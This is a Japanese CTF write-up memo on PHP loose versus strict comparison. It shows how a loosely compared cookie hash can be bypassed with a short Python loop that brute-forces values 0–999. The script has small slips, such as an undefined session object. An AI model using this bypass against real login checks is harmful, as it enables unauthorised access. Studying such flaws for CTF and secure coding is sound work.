はじめに
CTFのWeb問で登場したので取り上げます。
完全に自分用のメモで、後半はPHPの比較と全く関係ないごった煮ですがご了承を。
PHPの緩い比較と厳密な比較
PHPには==
と===
の2つの比較演算子があり、
・前者は型変換をおこなった上で比較(緩い比較)
・後者は緩い比較に加えて型の一致も必要条件に(厳密な比較)
特にstringsとnumberを比較する場合、stringsをnumberに変換するので
'123abc' $\rightarrow$ 123
'12.34a' $\rightarrow$ 12.34
'aaaaa999' $\rightarrow$ 0
と、先頭から数字として認識できる部分までを抽出してしまいます。
そのため
<?php
# 厳密な比較
echo (123 === "123abc");
# 何も返さない -> False
# 緩い比較, 順序は問わない
echo (123 == "123abc");
echo ("123abc" == 123);
# 共に1を返す -> True
#文字列同士ならnumberに変換はしない
echo ("123" == "123a");
# 何も返さない -> False
?>
CTFでの活用
CTFで出された問題では、とあるURL1とCookieotadmin = {"hash": hoge}
を付与してHTTP通信し、hogeの部分が正しいとflagが表示, 誤りだと以下のif文が実行されるという流れです。
# 与えられたPHPコードの一部
# otadmin = {"hash": 123}なら$session_data = 123
$session_data = json_decode($_COOKIE['otadmin'], true);
if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
echo ("I CAN GIVE YOU A HINT\n");
# 以下, ヒントを表示するコードが存在
# MD5($cfg_pass))は, 各桁が数字なのか文字なのかだけは判明している
# 本問では最初3桁は数字, 4桁目はアルファベットということが既知
exit();
}
さて、$cfg_pass
もMD5($cfg_pass)
もわからない状態でどうif文を回避するかですが、このif文の条件式に緩い比較が使われているのがミソになります(厳密な比較だと!==
となるはず)。
もし仮に
MD5($cfg_pass) = 76a2173be6393254e72ffa4d6df1030a
だとしましょう2。先程の説明から、緩い比較をする際にはstringsはnumberに変換、つまり$session_data['hash']
と76を比較することになります。
もうお分かりでしょうか。今回は最初の3桁は数字、4桁目はアルファベットとわかっているので、緩い比較を行う際にはstrtoupper(MD5($cfg_pass))
は高々3桁の数として認知されるわけです。
これならbrute forceで探索しても問題はなく、
import requests
url = '(与えられたURL)'
for i in range(1000):
# hashに0~999を代入してbrute force
r = s.get(url, cookies = {'otadmin': '{"hash": %d}' % i})
# 注意 : r.contentはバイナリ形式。
if b'HINT' not in r.content:
print(r.content)
break
とすることで答えが得られます。